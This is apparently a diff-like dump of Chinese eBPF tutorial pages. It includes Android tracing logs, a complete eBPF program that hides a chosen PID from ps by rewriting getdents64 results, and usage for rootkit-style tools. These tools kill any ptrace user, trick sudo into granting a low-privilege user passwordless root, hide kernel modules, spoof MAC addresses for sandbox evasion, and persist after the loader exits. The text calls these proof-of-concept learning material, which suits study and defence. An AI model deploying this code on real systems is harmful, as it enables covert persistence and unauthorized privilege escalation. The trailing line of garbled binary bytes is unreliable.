+07:46:58 0x400500020000bb0179ff85e80f02000a 0xbb0179ff85e80f02000ae7e7e8b7 18446631020132433920 193186244 122 3305 5 7 2 46240 443 NetworkService
+07:46:59 0x40010002d01ebb01d0c52f5c0f02000a 0xd01ebb01d0c52f5c0f02000a51449c27 18446631020103553856 194110884 0 5130 1 8 2 53278 443 ThreadPoolForeg
+07:46:59 0x400800020000bb01d0c52f5c0f02000a 0xbb01d0c52f5c0f02000a51449c27 18446631020103553856 194121000 10116 3305 8 7 2 53278 443 NetworkService
+07:46:59 0x400700020000bb01000000000f02000a 0xbb01000000000f02000aeb6f2270 18446631020099513920 194603677 0 3305 7 2 2 0 443 NetworkService
+07:46:59 0x40020002d28ebb0182dd92990f02000a 0xd28ebb0182dd92990f02000aeb6f2270 18446631020099513920 194649313 45635 12 2 1 2 53902 443 ksoftirqd/0
+07:47:00 0x400700020000bb01000000000f02000a 0xbb01000000000f02000a26f6e878 18446631020132433920 195193350 0 3305 7 2 2 0 443 NetworkService
+07:47:00 0x40020002ba32bb01e0e09e3a0f02000a 0xba32bb01e0e09e3a0f02000a26f6e878 18446631020132433920 195206992 13642 0 2 1 2 47666 443 swapper/0
+07:47:00 0x400700020000bb01000000000f02000a 0xbb01000000000f02000ae7e7e8b7 18446631020132448128 195233125 0 3305 7 2 2 0 443 NetworkService
+07:47:00 0x40020002b4a8bb0136cac8dd0f02000a 0xb4a8bb0136cac8dd0f02000ae7e7e8b7 18446631020132448128 195246569 13444 3305 2 1 2 46248 443 NetworkService
+07:47:00 0xf02000affff00000000000000000000 0x1aca06cffff00000000000000000000 18446631019225912320 195383897 0 947 7 2 10 0 80 Thread-11
+07:47:00 0x40010002b4a8bb0136cac8dd0f02000a 0xb4a8bb0136cac8dd0f02000ae7e7e8b7 18446631020132448128 195421584 175014 3305 1 4 2 46248 443 NetworkService
+07:47:00 0x40040002b4a8bb0136cac8dd0f02000a 0xb4a8bb0136cac8dd0f02000ae7e7e8b7 18446631020132448128 195422361 777 3305 4 5 2 46248 443 NetworkService
+07:47:00 0x400500020000bb0136cac8dd0f02000a 0xbb0136cac8dd0f02000ae7e7e8b7 18446631020132448128 195422450 88 3305 5 7 2 46248 443 NetworkService
+07:47:01 0x400700020000bb01000000000f02000a 0xbb01000000000f02000aea2afb8e 18446631020099528128 196321556 0 1315 7 2 2 0 443 ChromiumNet
+
+一些可能的报错原因
+opensnoop
+例如 opensnoop 工具,可以在 Android 上成功构建,但运行报错:
+libbpf: failed to determine tracepoint 'syscalls/sys_enter_open' perf event ID: No such file or directory
+libbpf: prog 'tracepoint__syscalls__sys_enter_open': failed to create tracepoint 'syscalls/sys_enter_open' perf event: No such file or directory
+libbpf: prog 'tracepoint__syscalls__sys_enter_open': failed to auto-attach: -2
+failed to attach skeleton
+Error: BpfError("load and attach ebpf program failed")
+
+后经查看发现内核未开启 CONFIG_FTRACE_SYSCALLS 选项,导致无法使用 syscalls 的 tracepoint。
总结
+在 Android shell 中查看内核编译选项可以发现 CONFIG_DEBUG_INFO_BTF 默认是打开的,在此基础上 eunomia-bpf 项目提供的 example 已有一些能够成功运行的案例,例如可以监测 exec 族函数的执行和 tcp 连接的状态。
对于无法运行的一些,原因主要是以下两个方面:
+-
+
目前在 Android 系统中使用 eBPF 工具基本上仍然需要构建完整的 Linux 运行环境,但 Android 内核本身对 eBPF 的支持已较为全面,本次测试证明较高版本的 Android 内核支持 BTF 调试信息和依赖 CO-RE 的 eBPF 程序的运行。
+Android 系统 eBPF 工具的发展需要官方新特性的加入,目前看来通过 Android APP 直接使用 eBPF 工具需要的工作量较大,同时由于 eBPF 工具需要 root 权限,普通 Android 用户的使用会面临较多困难。
+如果希望学习更多关于 eBPF 的知识和实践,可以访问我们的教程代码仓库 https://github.com/eunomia-bpf/bpf-developer-tutorial 以获取更多示例和完整的教程。
+参考
+ + +http
+TODO
+ +eBPF 开发实践:使用 eBPF 隐藏进程或文件信息
+eBPF(扩展的伯克利数据包过滤器)是 Linux 内核中的一个强大功能,可以在无需更改内核源代码或重启内核的情况下,运行、加载和更新用户定义的代码。这种功能让 eBPF 在网络和系统性能分析、数据包过滤、安全策略等方面有了广泛的应用。
+在本篇教程中,我们将展示如何利用 eBPF 来隐藏进程或文件信息,这是网络安全和防御领域中一种常见的技术。
+背景知识与实现机制
+"进程隐藏" 能让特定的进程对操作系统的常规检测机制变得不可见。在黑客攻击或系统防御的场景中,这种技术都可能被应用。具体来说,Linux 系统中每个进程都在 /proc/ 目录下有一个以其进程 ID 命名的子文件夹,包含了该进程的各种信息。ps 命令就是通过查找这些文件夹来显示进程信息的。因此,如果我们能隐藏某个进程的 /proc/ 文件夹,就能让这个进程对 ps 命令等检测手段“隐身”。
要实现进程隐藏,关键在于操作 /proc/ 目录。在 Linux 中,getdents64 系统调用可以读取目录下的文件信息。我们可以通过挂接这个系统调用,修改它返回的结果,从而达到隐藏文件的目的。实现这个功能需要使用到 eBPF 的 bpf_probe_write_user 功能,它可以修改用户空间的内存,因此能用来修改 getdents64 返回的结果。
下面,我们会详细介绍如何在内核态和用户态编写 eBPF 程序来实现进程隐藏。
+内核态 eBPF 程序实现
+接下来,我们将详细介绍如何在内核态编写 eBPF 程序来实现进程隐藏。首先是 eBPF 程序的起始部分:
+// SPDX-License-Identifier: BSD-3-Clause
+#include "vmlinux.h"
+#include <bpf/bpf_helpers.h>
+#include <bpf/bpf_tracing.h>
+#include <bpf/bpf_core_read.h>
+#include "common.h"
+
+char LICENSE[] SEC("license") = "Dual BSD/GPL";
+
+// Ringbuffer Map to pass messages from kernel to user
+struct {
+ __uint(type, BPF_MAP_TYPE_RINGBUF);
+ __uint(max_entries, 256 * 1024);
+} rb SEC(".maps");
+
+// Map to fold the dents buffer addresses
+struct {
+ __uint(type, BPF_MAP_TYPE_HASH);
+ __uint(max_entries, 8192);
+ __type(key, size_t);
+ __type(value, long unsigned int);
+} map_buffs SEC(".maps");
+
+// Map used to enable searching through the
+// data in a loop
+struct {
+ __uint(type, BPF_MAP_TYPE_HASH);
+ __uint(max_entries, 8192);
+ __type(key, size_t);
+ __type(value, int);
+} map_bytes_read SEC(".maps");
+
+// Map with address of actual
+struct {
+ __uint(type, BPF_MAP_TYPE_HASH);
+ __uint(max_entries, 8192);
+ __type(key, size_t);
+ __type(value, long unsigned int);
+} map_to_patch SEC(".maps");
+
+// Map to hold program tail calls
+struct {
+ __uint(type, BPF_MAP_TYPE_PROG_ARRAY);
+ __uint(max_entries, 5);
+ __type(key, __u32);
+ __type(value, __u32);
+} map_prog_array SEC(".maps");
+
+我们首先需要理解这个 eBPF 程序的基本构成和使用到的几个重要组件。前几行引用了几个重要的头文件,如 "vmlinux.h"、"bpf_helpers.h"、"bpf_tracing.h" 和 "bpf_core_read.h"。这些文件提供了 eBPF 编程所需的基础设施和一些重要的函数或宏。
+-
+
程序中定义了一系列的 map 结构,这些 map 是 eBPF 程序中的主要数据结构,它们用于在内核态和用户态之间共享数据,或者在 eBPF 程序中存储和传递数据。
+其中,"rb" 是一个 Ringbuffer 类型的 map,它用于从内核向用户态传递消息。Ringbuffer 是一种能在内核和用户态之间高效传递大量数据的数据结构。
+"map_buffs" 是一个 Hash 类型的 map,它用于存储目录项(dentry)的缓冲区地址。
+"map_bytes_read" 是另一个 Hash 类型的 map,它用于在数据循环中启用搜索。
+"map_to_patch" 是另一个 Hash 类型的 map,存储了需要被修改的目录项(dentry)的地址。
+"map_prog_array" 是一个 Prog Array 类型的 map,它用于保存程序的尾部调用。
+程序中的 "target_ppid" 和 "pid_to_hide_len"、"pid_to_hide" 是几个重要的全局变量,它们分别存储了目标父进程的 PID、需要隐藏的 PID 的长度以及需要隐藏的 PID。
+接下来的代码部分,程序定义了一个名为 "linux_dirent64" 的结构体,这个结构体代表一个 Linux 目录项。然后程序定义了两个函数,"handle_getdents_enter" 和 "handle_getdents_exit",这两个函数分别在 getdents64 系统调用的入口和出口被调用,用于实现对目录项的操作。
+
+// Optional Target Parent PID
+const volatile int target_ppid = 0;
+
+// These store the string represenation
+// of the PID to hide. This becomes the name
+// of the folder in /proc/
+const volatile int pid_to_hide_len = 0;
+const volatile char pid_to_hide[max_pid_len];
+
+// struct linux_dirent64 {
+// u64 d_ino; /* 64-bit inode number */
+// u64 d_off; /* 64-bit offset to next structure */
+// unsigned short d_reclen; /* Size of this dirent */
+// unsigned char d_type; /* File type */
+// char d_name[]; /* Filename (null-terminated) */ };
+// int getdents64(unsigned int fd, struct linux_dirent64 *dirp, unsigned int count);
+SEC("tp/syscalls/sys_enter_getdents64")
+int handle_getdents_enter(struct trace_event_raw_sys_enter *ctx)
+{
+ size_t pid_tgid = bpf_get_current_pid_tgid();
+ // Check if we're a process thread of interest
+ // if target_ppid is 0 then we target all pids
+ if (target_ppid != 0) {
+ struct task_struct *task = (struct task_struct *)bpf_get_current_task();
+ int ppid = BPF_CORE_READ(task, real_parent, tgid);
+ if (ppid != target_ppid) {
+ return 0;
+ }
+ }
+ int pid = pid_tgid >> 32;
+ unsigned int fd = ctx->args[0];
+ unsigned int buff_count = ctx->args[2];
+
+ // Store params in map for exit function
+ struct linux_dirent64 *dirp = (struct linux_dirent64 *)ctx->args[1];
+ bpf_map_update_elem(&map_buffs, &pid_tgid, &dirp, BPF_ANY);
+
+ return 0;
+}
+
+在这部分代码中,我们可以看到 eBPF 程序的一部分具体实现,该程序负责在 getdents64 系统调用的入口处进行处理。
我们首先声明了几个全局的变量。其中 target_ppid 代表我们要关注的目标父进程的 PID。如果这个值为 0,那么我们将关注所有的进程。pid_to_hide_len 和 pid_to_hide 则分别用来存储我们要隐藏的进程的 PID 的长度和 PID 本身。这个 PID 会转化成 /proc/ 目录下的一个文件夹的名称,因此被隐藏的进程在 /proc/ 目录下将无法被看到。
接下来,我们声明了一个名为 linux_dirent64 的结构体。这个结构体代表一个 Linux 目录项,包含了一些元数据,如 inode 号、下一个目录项的偏移、当前目录项的长度、文件类型以及文件名。
然后是 getdents64 函数的原型。这个函数是 Linux 系统调用,用于读取一个目录的内容。我们的目标就是在这个函数执行的过程中,对目录项进行修改,以实现进程隐藏。
随后的部分是 eBPF 程序的具体实现。我们在 getdents64 系统调用的入口处定义了一个名为 handle_getdents_enter 的函数。这个函数首先获取了当前进程的 PID 和线程组 ID,然后检查这个进程是否是我们关注的进程。如果我们设置了 target_ppid,那么我们就只关注那些父进程的 PID 为 target_ppid 的进程。如果 target_ppid 为 0,我们就关注所有进程。
在确认了当前进程是我们关注的进程之后,我们将 getdents64 系统调用的参数保存到一个 map 中,以便在系统调用返回时使用。我们特别关注 getdents64 系统调用的第二个参数,它是一个指向 linux_dirent64 结构体的指针,代表了系统调用要读取的目录的内容。我们将这个指针以及当前的 PID 和线程组 ID 作为键值对保存到 map_buffs 这个 map 中。
至此,我们完成了 getdents64 系统调用入口处的处理。在系统调用返回时,我们将会在 handle_getdents_exit 函数中,对目录项进行修改,以实现进程隐藏。
在接下来的代码段中,我们将要实现在 getdents64 系统调用返回时的处理。我们主要的目标就是找到我们想要隐藏的进程,并且对目录项进行修改以实现隐藏。
我们首先定义了一个名为 handle_getdents_exit 的函数,它将在 getdents64 系统调用返回时被调用。
+SEC("tp/syscalls/sys_exit_getdents64")
+int handle_getdents_exit(struct trace_event_raw_sys_exit *ctx)
+{
+ size_t pid_tgid = bpf_get_current_pid_tgid();
+ int total_bytes_read = ctx->ret;
+ // if bytes_read is 0, everything's been read
+ if (total_bytes_read <= 0) {
+ return 0;
+ }
+
+ // Check we stored the address of the buffer from the syscall entry
+ long unsigned int* pbuff_addr = bpf_map_lookup_elem(&map_buffs, &pid_tgid);
+ if (pbuff_addr == 0) {
+ return 0;
+ }
+
+ // All of this is quite complex, but basically boils down to
+ // Calling 'handle_getdents_exit' in a loop to iterate over the file listing
+ // in chunks of 200, and seeing if a folder with the name of our pid is in there.
+ // If we find it, use 'bpf_tail_call' to jump to handle_getdents_patch to do the actual
+ // patching
+ long unsigned int buff_addr = *pbuff_addr;
+ struct linux_dirent64 *dirp = 0;
+ int pid = pid_tgid >> 32;
+ short unsigned int d_reclen = 0;
+ char filename[max_pid_len];
+
+ unsigned int bpos = 0;
+ unsigned int *pBPOS = bpf_map_lookup_elem(&map_bytes_read, &pid_tgid);
+ if (pBPOS != 0) {
+ bpos = *pBPOS;
+ }
+
+ for (int i = 0; i < 200; i ++) {
+ if (bpos >= total_bytes_read) {
+ break;
+ }
+ dirp = (struct linux_dirent64 *)(buff_addr+bpos);
+ bpf_probe_read_user(&d_reclen, sizeof(d_reclen), &dirp->d_reclen);
+ bpf_probe_read_user_str(&filename, pid_to_hide_len, dirp->d_name);
+
+ int j = 0;
+ for (j = 0; j < pid_to_hide_len; j++) {
+ if (filename[j] != pid_to_hide[j]) {
+ break;
+ }
+ }
+ if (j == pid_to_hide_len) {
+ // ***********
+ // We've found the folder!!!
+ // Jump to handle_getdents_patch so we can remove it!
+ // ***********
+ bpf_map_delete_elem(&map_bytes_read, &pid_tgid);
+ bpf_map_delete_elem(&map_buffs, &pid_tgid);
+ bpf_tail_call(ctx, &map_prog_array, PROG_02);
+ }
+ bpf_map_update_elem(&map_to_patch, &pid_tgid, &dirp, BPF_ANY);
+ bpos += d_reclen;
+ }
+
+ // If we didn't find it, but there's still more to read,
+ // jump back the start of this function and keep looking
+ if (bpos < total_bytes_read) {
+ bpf_map_update_elem(&map_bytes_read, &pid_tgid, &bpos, BPF_ANY);
+ bpf_tail_call(ctx, &map_prog_array, PROG_01);
+ }
+ bpf_map_delete_elem(&map_bytes_read, &pid_tgid);
+ bpf_map_delete_elem(&map_buffs, &pid_tgid);
+
+ return 0;
+}
+
+
+在这个函数中,我们首先获取了当前进程的 PID 和线程组 ID,然后检查系统调用是否读取到了目录的内容。如果没有读取到内容,我们就直接返回。
+然后我们从 map_buffs 这个 map 中获取 getdents64 系统调用入口处保存的目录内容的地址。如果我们没有保存过这个地址,那么就没有必要进行进一步的处理。
接下来的部分有点复杂,我们用了一个循环来迭代读取目录的内容,并且检查是否有我们想要隐藏的进程的 PID。如果我们找到了,我们就用 bpf_tail_call 函数跳转到 handle_getdents_patch 函数,进行实际的隐藏操作。
SEC("tp/syscalls/sys_exit_getdents64")
+int handle_getdents_patch(struct trace_event_raw_sys_exit *ctx)
+{
+ // Only patch if we've already checked and found our pid's folder to hide
+ size_t pid_tgid = bpf_get_current_pid_tgid();
+ long unsigned int* pbuff_addr = bpf_map_lookup_elem(&map_to_patch, &pid_tgid);
+ if (pbuff_addr == 0) {
+ return 0;
+ }
+
+ // Unlink target, by reading in previous linux_dirent64 struct,
+ // and setting it's d_reclen to cover itself and our target.
+ // This will make the program skip over our folder.
+ long unsigned int buff_addr = *pbuff_addr;
+ struct linux_dirent64 *dirp_previous = (struct linux_dirent64 *)buff_addr;
+ short unsigned int d_reclen_previous = 0;
+ bpf_probe_read_user(&d_reclen_previous, sizeof(d_reclen_previous), &dirp_previous->d_reclen);
+
+ struct linux_dirent64 *dirp = (struct linux_dirent64 *)(buff_addr+d_reclen_previous);
+ short unsigned int d_reclen = 0;
+ bpf_probe_read_user(&d_reclen, sizeof(d_reclen), &dirp->d_reclen);
+
+ // Debug print
+ char filename[max_pid_len];
+ bpf_probe_read_user_str(&filename, pid_to_hide_len, dirp_previous->d_name);
+ filename[pid_to_hide_len-1] = 0x00;
+ bpf_printk("[PID_HIDE] filename previous %s\n", filename);
+ bpf_probe_read_user_str(&filename, pid_to_hide_len, dirp->d_name);
+ filename[pid_to_hide_len-1] = 0x00;
+ bpf_printk("[PID_HIDE] filename next one %s\n", filename);
+
+ // Attempt to overwrite
+ short unsigned int d_reclen_new = d_reclen_previous + d_reclen;
+ long ret = bpf_probe_write_user(&dirp_previous->d_reclen, &d_reclen_new, sizeof(d_reclen_new));
+
+ // Send an event
+ struct event *e;
+ e = bpf_ringbuf_reserve(&rb, sizeof(*e), 0);
+ if (e) {
+ e->success = (ret == 0);
+ e->pid = (pid_tgid >> 32);
+ bpf_get_current_comm(&e->comm, sizeof(e->comm));
+ bpf_ringbuf_submit(e, 0);
+ }
+
+ bpf_map_delete_elem(&map_to_patch, &pid_tgid);
+ return 0;
+}
+
+
+在 handle_getdents_patch 函数中,我们首先检查我们是否已经找到了我们想要隐藏的进程的 PID。然后我们读取目录项的内容,并且修改 d_reclen 字段,让它覆盖下一个目录项,这样就可以隐藏我们的目标进程了。
在这个过程中,我们用到了 bpf_probe_read_user、bpf_probe_read_user_str、bpf_probe_write_user 这几个函数来读取和写入用户空间的数据。这是因为在内核空间,我们不能直接访问用户空间的数据,必须使用这些特殊的函数。
在我们完成隐藏操作后,我们会向一个名为 rb 的环形缓冲区发送一个事件,表示我们已经成功地隐藏了一个进程。我们用 bpf_ringbuf_reserve 函数来预留缓冲区空间,然后将事件的数据填充到这个空间,并最后用 bpf_ringbuf_submit 函数将事件提交到缓冲区。
最后,我们清理了之前保存在 map 中的数据,并返回。
+这段代码是在 eBPF 环境下实现进程隐藏的一个很好的例子。通过这个例子,我们可以看到 eBPF 提供的丰富的功能,如系统调用跟踪、map 存储、用户空间数据访问、尾调用等。这些功能使得我们能够在内核空间实现复杂的逻辑,而不需要修改内核代码。
+用户态 eBPF 程序实现
+我们在用户态的 eBPF 程序中主要进行了以下几个操作:
+-
+
首先,我们打开了 eBPF 程序。这个过程是通过调用 pidhide_bpf__open 函数实现的。如果这个过程失败了,我们就直接返回。
skel = pidhide_bpf__open();
+ if (!skel)
+ {
+ fprintf(stderr, "Failed to open BPF program: %s\n", strerror(errno));
+ return 1;
+ }
+
+接下来,我们设置了我们想要隐藏的进程的 PID。这个过程是通过将 PID 保存到 eBPF 程序的 rodata 区域实现的。默认情况下,我们隐藏的是当前进程。
char pid_to_hide[10];
+ if (env.pid_to_hide == 0)
+ {
+ env.pid_to_hide = getpid();
+ }
+ sprintf(pid_to_hide, "%d", env.pid_to_hide);
+ strncpy(skel->rodata->pid_to_hide, pid_to_hide, sizeof(skel->rodata->pid_to_hide));
+ skel->rodata->pid_to_hide_len = strlen(pid_to_hide) + 1;
+ skel->rodata->target_ppid = env.target_ppid;
+
+然后,我们验证并加载 eBPF 程序。这个过程是通过调用 pidhide_bpf__load 函数实现的。如果这个过程失败了,我们就进行清理操作。
err = pidhide_bpf__load(skel);
+ if (err)
+ {
+ fprintf(stderr, "Failed to load and verify BPF skeleton\n");
+ goto cleanup;
+ }
+
+最后,我们等待并处理由 eBPF 程序发送的事件。这个过程是通过调用 ring_buffer__poll 函数实现的。在这个过程中,我们每隔一段时间就检查一次环形缓冲区中是否有新的事件。如果有,我们就调用 handle_event 函数来处理这个事件。
printf("Successfully started!\n");
+printf("Hiding PID %d\n", env.pid_to_hide);
+while (!exiting)
+{
+ err = ring_buffer__poll(rb, 100 /* timeout, ms */);
+ /* Ctrl-C will cause -EINTR */
+ if (err == -EINTR)
+ {
+ err = 0;
+ break;
+ }
+ if (err < 0)
+ {
+ printf("Error polling perf buffer: %d\n", err);
+ break;
+ }
+}
+
+handle_event 函数中,我们根据事件的内容打印了相应的消息。这个函数的参数包括一个上下文,事件的数据,以及数据的大小。我们首先将事件的数据转换为 event 结构体,然后根据 success 字段判断这个事件是否表示成功隐藏了一个进程,最后打
印相应的消息。
+static int handle_event(void *ctx, void *data, size_t data_sz)
+{
+ const struct event *e = data;
+ if (e->success)
+ printf("Hid PID from program %d (%s)\n", e->pid, e->comm);
+ else
+ printf("Failed to hide PID from program %d (%s)\n", e->pid, e->comm);
+ return 0;
+}
+
+这段代码展示了如何在用户态使用 eBPF 程序来实现进程隐藏的功能。我们首先打开 eBPF 程序,然后设置我们想要隐藏的进程的 PID,再验证并加载 eBPF 程序,最后等待并处理由 eBPF 程序发送的事件。这个过程中,我们使用了 eBPF 提供的一些高级功能,如环形缓冲区和事件处理,这些功能使得我们能够在用户态方便地与内核态的 eBPF 程序进行交互。
+完整源代码:https://github.com/eunomia-bpf/bpf-developer-tutorial/tree/main/src/24-hide
+++本文所示技术仅为概念验证,仅供学习使用,严禁用于不符合法律法规要求的场景。
+
编译运行,隐藏 PID
+首先,我们需要编译 eBPF 程序:
+make
+
+然后,假设我们想要隐藏进程 ID 为 1534 的进程,可以运行如下命令:
+sudo ./pidhide --pid-to-hide 1534
+
+这条命令将使所有尝试读取 /proc/ 目录的操作都无法看到 PID 为 1534 的进程。例如,我们可以选择一个进程进行隐藏:
$ ps -aux | grep 1534
+yunwei 1534 0.0 0.0 244540 6848 ? Ssl 6月02 0:00 /usr/libexec/gvfs-mtp-volume-monitor
+yunwei 32065 0.0 0.0 17712 2580 pts/1 S+ 05:43 0:00 grep --color=auto 1534
+
+此时通过 ps 命令可以看到进程 ID 为 1534 的进程。但是,如果我们运行 sudo ./pidhide --pid-to-hide 1534,再次运行 ps -aux | grep 1534,就会发现进程 ID 为 1534 的进程已经不见了。
$ sudo ./pidhide --pid-to-hide 1534
+Hiding PID 1534
+Hid PID from program 31529 (ps)
+Hid PID from program 31551 (ps)
+Hid PID from program 31560 (ps)
+Hid PID from program 31582 (ps)
+Hid PID from program 31582 (ps)
+Hid PID from program 31585 (bash)
+Hid PID from program 31585 (bash)
+Hid PID from program 31609 (bash)
+Hid PID from program 31640 (ps)
+Hid PID from program 31649 (ps)
+
+这个程序将匹配这个 pid 的进程隐藏,使得像 ps 这样的工具无法看到,我们可以通过 ps aux | grep 1534 来验证。
$ ps -aux | grep 1534
+root 31523 0.1 0.0 22004 5616 pts/2 S+ 05:42 0:00 sudo ./pidhide -p 1534
+root 31524 0.0 0.0 22004 812 pts/3 Ss 05:42 0:00 sudo ./pidhide -p 1534
+root 31525 0.3 0.0 3808 2456 pts/3 S+ 05:42 0:00 ./pidhide -p 1534
+yunwei 31583 0.0 0.0 17712 2612 pts/1 S+ 05:42 0:00 grep --color=auto 1534
+
+总结
+通过本篇 eBPF 入门实践教程,我们深入了解了如何使用 eBPF 来隐藏进程或文件信息。我们学习了如何编写和加载 eBPF 程序,如何通过 eBPF 拦截系统调用并修改它们的行为,以及如何将这些知识应用到实际的网络安全和防御工作中。此外,我们也了解了 eBPF 的强大性,尤其是它能在不需要修改内核源代码或重启内核的情况下,允许用户在内核中执行自定义代码的能力。
+您还可以访问我们的教程代码仓库 https://github.com/eunomia-bpf/bpf-developer-tutorial 以获取更多示例和完整的教程。
+接下来的教程将进一步探讨 eBPF 的高级特性,我们会继续分享更多有关 eBPF 开发实践的内容,包括如何使用 eBPF 进行网络和系统性能分析,如何编写更复杂的 eBPF 程序以及如何将 eBPF 集成到您的应用中。希望你会在我们的教程中找到有用的信息,进一步提升你的 eBPF 开发技能。
+ +用 bpf_send_signal 发送信号终止恶意进程
+编译:
+make
+
+使用方式:
+sudo ./bpfdos
+
+这个程序会对任何试图使用 ptrace 系统调用的程序,例如 strace,发出 SIG_KILL 信号。
+一旦 bpf-dos 开始运行,你可以通过运行以下命令进行测试:
strace /bin/whoami
+
+参考资料
+ + +使用 eBPF 添加 sudo 用户
+编译:
+make
+
+使用方式:
+sudo ./sudoadd --username lowpriv-user
+
+这个程序允许一个通常权限较低的用户使用 sudo 成为 root。
它通过拦截 sudo 读取 /etc/sudoers 文件,并将第一行覆盖为 <username> ALL=(ALL:ALL) NOPASSWD:ALL # 的方式工作。这欺骗了 sudo,使其认为用户被允许成为 root。其他程序如 cat 或 sudoedit 不受影响,所以对于这些程序来说,文件未改变,用户并没有这些权限。行尾的 # 确保行的其余部分被当作注释处理,因此不会破坏文件的逻辑。
参考资料
+ + +使用 eBPF 替换任意程序读取或写入的文本
+编译:
+make
+
+使用方式:
+sudo ./replace --filename /path/to/file --input foo --replace bar
+
+这个程序将文件中所有与 input 匹配的文本替换为 replace 文本。
+这有很多用途,例如:
隐藏内核模块 joydev,避免被如 lsmod 这样的工具发现:
./replace -f /proc/modules -i 'joydev' -r 'cryptd'
+
+伪造 eth0 接口的 MAC 地址:
./replace -f /sys/class/net/eth0/address -i '00:15:5d:01:ca:05' -r '00:00:00:00:00:00'
+
+恶意软件进行反沙箱检查可能会检查 MAC 地址,寻找是否正在虚拟机或沙箱内运行,而不是在“真实”的机器上运行的迹象。
+注意: input 和 replace 的长度必须相同,以避免在文本块的中间添加 NULL 字符。在 bash 提示符下输入换行符,使用 $'\n',例如 --replace $'text\n'。
参考资料
+ + +在用户态应用退出后运行 eBPF 程序:eBPF 程序的生命周期
+通过使用 detach 的方式运行 eBPF 程序,用户空间加载器可以退出,而不会停止 eBPF 程序。
+eBPF 程序的生命周期
+首先,我们需要了解一些关键的概念,如 BPF 对象(包括程序,地图和调试信息),文件描述符 (FD),引用计数(refcnt)等。在 eBPF 系统中,用户空间通过文件描述符访问 BPF 对象,而每个对象都有一个引用计数。当一个对象被创建时,其引用计数初始为1。如果该对象不再被使用(即没有其他程序或文件描述符引用它),它的引用计数将降至0,并在 RCU 宽限期后被内存清理。
+接下来,我们需要了解 eBPF 程序的生命周期。首先,当你创建一个 BPF 程序,并将它连接到某个“钩子”(例如网络接口,系统调用等),它的引用计数会增加。然后,即使原始创建和加载该程序的用户空间进程退出,只要 BPF 程序的引用计数大于 0,它就会保持活动状态。然而,这个过程中有一个重要的点是:不是所有的钩子都是相等的。有些钩子是全局的,比如 XDP、tc's clsact 和 cgroup-based 钩子。这些全局钩子会一直保持 BPF 程序的活动状态,直到这些对象自身消失。而有些钩子是局部的,只在拥有它们的进程存活期间运行。
+对于 BPF 对象(程序或映射)的生命周期管理,另一个关键的操作是“分离”(detach)。这个操作会阻止已附加程序的任何未来执行。然后,对于需要替换 BPF 程序的情况,你可以使用替换(replace)操作。这是一个复杂的过程,因为你需要确保在替换过程中,不会丢失正在处理的事件,而且新旧程序可能在不同的 CPU 上同时运行。
+最后,除了通过文件描述符和引用计数来管理 BPF 对象的生命周期,还有一个叫做 BPFFS 的方法,也就是“BPF 文件系统”。用户空间进程可以在 BPFFS 中“固定”(pin)一个 BPF 程序或映射,这将增加对象的引用计数,使得即使 BPF 程序未附加到任何地方或 BPF 映射未被任何程序使用,该 BPF 对象也将保持活动状态。
+所以,当我们谈论在后台运行 eBPF 程序时,我们需要清楚这个过程的含义。在某些情况下,即使用户空间进程已经退出,我们可能还希望 BPF 程序保持运行。这就需要我们正确地管理 BPF 对象的生命周期
+运行
+这里还是采用了上一个的字符串替换的应用,来体现对应可能的安全风险。通过使用 --detach 运行程序,用户空间加载器可以退出,而不会停止 eBPF 程序。
编译:
+make
+
+在运行前,请首先确保 bpf 文件系统已经被挂载:
+sudo mount bpffs -t bpf /sys/fs/bpf
+mkdir /sys/fs/bpf/textreplace
+
+然后,你可以分离运行 text-replace2:
+./textreplace2 -f /proc/modules -i 'joydev' -r 'cryptd' -d
+
+这将在 /sys/fs/bpf/textreplace 下创建一些 eBPF 链接文件。
+一旦加载器成功运行,你可以通过运行以下命令检查日志:
sudo cat /sys/kernel/debug/tracing/trace_pipe
+# 确认链接文件存在
+sudo ls -l /sys/fs/bpf/textreplace
+
+然后,要停止,只需删除链接文件即可:
+sudo rm -r /sys/fs/bpf/textreplace
+
+参考资料
+ + +eBPF sockops 示例
+利用 eBPF 的 sockops 进行性能优化
+网络连接本质上是 socket 之间的通讯,eBPF 提供了一个 bpf_msg_redirect_hash 函数,用来将应用发出的包直接转发到对端的 socket,可以极大地加速包在内核中的处理流程。
+这里 sock_map 是记录 socket 规则的关键部分,即根据当前的数据包信息,从 sock_map 中挑选一个存在的 socket 连接来转发请求。所以需要先在 sockops 的 hook 处或者其它地方,将 socket 信息保存到 sock_map,并提供一个规则 (一般为四元组) 根据 key 查找到 socket。
+Merbridge 项目就是这样实现了用 eBPF 代替 iptables 为 Istio 进行加速。在使用 Merbridge (eBPF) 优化之后,出入口流量会直接跳过很多内核模块,明显提高性能,如下图所示:
+
运行样例
+此示例程序从发送者的套接字(出口)重定向流量至接收者的套接字(入口),跳过 TCP/IP 内核网络栈。在这个示例中,我们假定发送者和接收者都在同一台机器上运行。
+编译 eBPF 程序
+# Compile the bpf_sockops program
+clang -O2 -g -Wall -target bpf -c bpf_sockops.c -o bpf_sockops.o
+clang -O2 -g -Wall -target bpf -c bpf_redir.c -o bpf_redir.o
+
+加载 eBPF 程序
+sudo ./load.sh
+
+您可以使用 bpftool utility 检查这两个 eBPF 程序是否已经加载。
+$ sudo bpftool prog show
+63: sock_ops name bpf_sockmap tag 275467be1d69253d gpl
+ loaded_at 2019-01-24T13:07:17+0200 uid 0
+ xlated 1232B jited 750B memlock 4096B map_ids 58
+64: sk_msg name bpf_redir tag bc78074aa9dd96f4 gpl
+ loaded_at 2019-01-24T13:07:17+0200 uid 0
+ xlated 304B jited 233B memlock 4096B map_ids 58
+
+运行 iperf3 服务器
+iperf3 -s -p 10000
+
+运行 iperf3 客户端
+iperf3 -c 127.0.0.1 -t 10 -l 64k -p 10000
+
+收集追踪
+$ ./trace.sh
+iperf3-9516 [001] .... 22500.634108: 0: <<< ipv4 op = 4, port 18583 --> 4135
+iperf3-9516 [001] ..s1 22500.634137: 0: <<< ipv4 op = 5, port 4135 --> 18583
+iperf3-9516 [001] .... 22500.634523: 0: <<< ipv4 op = 4, port 19095 --> 4135
+iperf3-9516 [001] ..s1 22500.634536: 0: <<< ipv4 op = 5, port 4135 --> 19095
+
+你应该可以看到 4 个用于套接字建立的事件。如果你没有看到任何事件,那么 eBPF 程序可能没有正确地附加上。
+卸载 eBPF 程序
+sudo ./unload.sh
+
+参考资料
+ + +8B#8u@Bw{gL{h?Ku%CGsr1KgJ@dHE^p47oL(jv;b(iYO)^Jx4MJ
z2kD&AweXEJtr;mL6_9`H%~tAVukhoTp4UltmRBs<_K5(M#pdU~S dzjn?u?$i?M_r^KAafenBjv*fjK)T>X5REz~2_5u(f2a;Y$+{5$-
